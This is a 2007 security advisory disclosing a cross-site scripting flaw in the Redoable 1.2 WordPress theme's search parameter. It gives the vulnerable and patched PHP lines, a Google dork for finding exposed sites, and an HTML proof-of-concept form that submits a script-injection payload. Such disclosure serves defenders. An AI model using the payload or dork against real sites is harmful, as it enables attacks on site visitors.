note to editors: this patch resolves this vulnerability:
http://redlevel.org/wp-content/uploads/patch.zip
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Redoable 1.2 - Cross-Site Scripting Vulnerability
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Vulnerable Code
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header.php (line 6):
... elseif (is_search()) { ?> Search for <?php echo $s } ...
searchloop.php (line 24):
elseif (is_search()) { printf(__('Search Results for \'%s\'','redo_domain'),
$s); }
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Patched Code
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header.php (line 6 FIXED):
... elseif (is_search()) { ?> Search for <?php echo strip_tags($s); } ...
searchloop.php (line 24 FIXED):
elseif (is_search()) { printf(__('Search Results for \'%s\'','redo_domain'),
strip_tags($s)); }
Vulnerable Variable: s
Vulnerable File: wp-content/themes/redoable/searchloop.php and header.php
Vulnerable: Redoable 1.2 (other versions should also be vulnerable)
Google d0rk: "and Redoable 1.2"
John Martinelli
[EMAIL PROTECTED]
RedLevel Security
http://www.RedLevel.org
May 17th, 2007
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<html>
<head><title>Redoable 1.2 - Cross-Site Scripting Vulnerability</title><body>
<center><br><br>
<font size=4>Redoable 1.2 - Cross-Site Scripting Vulnerability</font><br>
<font size=3>discovered by <a href="http://john-martinelli.com";>John
Martinelli</a> of <a href="http://redlevel.org";>RedLevel
Security</a><br><br>
Google d0rk: <a
href="http://www.google.com/search?q=%22and+Redoable+1.2%22";>"and Redoable
1.2"</a>
</font><br><br><br>
<center>file <b>index.php</b> - variable <b>s</b> - method
<b>get</b></center><br>
<form action="http://www.target.com/index.php"; method="get">
<input size=75 name="s" value="</title><script>alert(1)</script>">
<input type=submit value="Execute XSS Attack" class="button">
</form>
<br><br><br>
</form>
</body></html>
